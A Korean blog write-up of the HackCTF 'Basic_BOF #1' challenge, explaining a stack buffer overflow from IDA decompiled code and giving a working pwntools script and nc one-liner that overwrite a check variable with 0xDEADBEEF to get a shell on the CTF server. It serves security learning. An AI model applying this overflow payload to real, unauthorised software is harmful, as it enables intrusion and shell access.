접속정보
nc ctf.j0n9hyun.xyz 3000

우분투로 접속한 결과 ⇒ 버퍼에 값을 입력하고 해당 값이 0x4030201과 같은지 체크하는 구조인듯 추측 가능
이 프로그램을 IDA로 까보고자 함..

ida에서 f5를 누르면 이렇게 보여준다.. 친절........
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(s, 45, stdin);
printf("\\n[buf]: %s\\n", s);
printf("[check] %p\\n", (const void *)v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
- char s를 40으로 받고있는데 s는 45로 받고있다. 여기서 overflow를 사용해야 함을 유추가 가능하다.
- v5가 0xDEADBEEF면 flag를 받을 수 있다.
- s의 주소 ⇒ [ebp-34h], v5의 주소 ⇒ [ebp-Ch]
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
esp
- 스택의 크기를 조정할 때 사용되는 레지스터
- 스택의 최상단 주소값을 가지고 있음 ⇒ 스택의 크기
ebp
- 스택 프레임 형태로 지역변수, 전달인자를 참조하거나 값을 바꾸거나 할 때 사용하는 레지스터
- 스택 프레임이 생성될 때 마다 스택프레임의 바닥만 가리켜주기 때문에 지역변수나 인자에 참조가 수월
결론
s ⇒ ebp-52d, v5 ⇒ ebp-12d 이므로 서로간의 거리는 40byte가 차이남.
풀이법
40byte 차이임에도 45byte로 입력을 받으므로 앞의 40byte를 임의의 문자로 채워주고, 뒤의 5byte에 0xDEADBEEF를 입력하면 v5를 0xDEADBEEF로 만들고 flag를 확인할 수 있음.
우분투 환경에서 python을 이용해 실습하고자 python3를 우분투에 설치하고, pwntool을 활용해 코드를 작성하고자 함.. (서칭)
pwntools 명령어
설치 명령어
pip install pwntools
접속 명령어
from pwn import *
p = process('./test') # process(filename)
p = remote('dokhakdubini.tistory.com', 123456) # remote(host, port)
p = ssh("fd", "pwnable.kr", 2222) # ssh(user, host, port, password) 순서
p.close() # 접속 종료
payload 관련 명령어 - send
from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'입력
p.sendline('A') # ./test에 'A'입력 뒤에 newline character(\\n)까지 입력
p.sendafter('asdf', 'A') # ./test가 'asdf'를 출력할 시, 'A'를 입력한다
p.sendlineafter('asdf', 'A') # ./test가 'asdf'를 출력할 시, 'A'+'\\n'를 입력한다
데이터를 받는 명령어
from pwn import *
p = process('./test')
data = p.recv(1024) # p가 출력하는 데이터 중 최대 1024바이트의 데이터를 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터 중 개행문자를 만날 때까지를 data에 저장
p.recvn(5) # p가 출력하는 데이터 중 정확히 5바이트 받아서 data에 저장
print p.recvuntil('asdf') # 'asdf'라는 문자열을 p가 출력할 때까지 받아서 출력
print p.recvall() # 연결이 끊어지거나 프로세스가 종료될 때까지 받아서 data에 저장
리틀앤디안
전송하고자 하는 값을 데이터의 단위 단위로 나누었을때 그 단위가 거꾸로 배열되는 형태
⇒ DEADBEEF를 전송해야 하므로 \xef\xbe\xad\xde 라고 서술.
python 코드
from pwn import * //pwnable tool을 불러와서 활용함
p = remote("ctf.j0n9hyun.xyz",3000) // 문제에서 주어진 정보에 접속
payload = "X"*40+"\\xef\\xbe\\xad\\xde"
p.sendline(payload)
p.interactive() //종료 시 interactive로 제어를 넘겨받음
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3000)
payload = "X"*40+"\\xef\\xbe\\xad\\xde"
p.sendline(payload)
p.interactive()
(python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat) | nc ctf.j0n9hyun.xyz 3000
vi를 통해서 python 파일을 편집을 해주고 실행을 시킴


cat
⇒ 리눅스에서 cat 명령어는 해당 파일의 내용을 출력함

cat flag로 하면 이렇게 flag의 내용을 볼 수 있다.
'Security > Pwnable' 카테고리의 다른 글
| [HackCTF] Basic_BOF #2 (0) | 2022.01.10 |
|---|
보안 전공 개발자지만 대학로에서 살고 싶어요
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!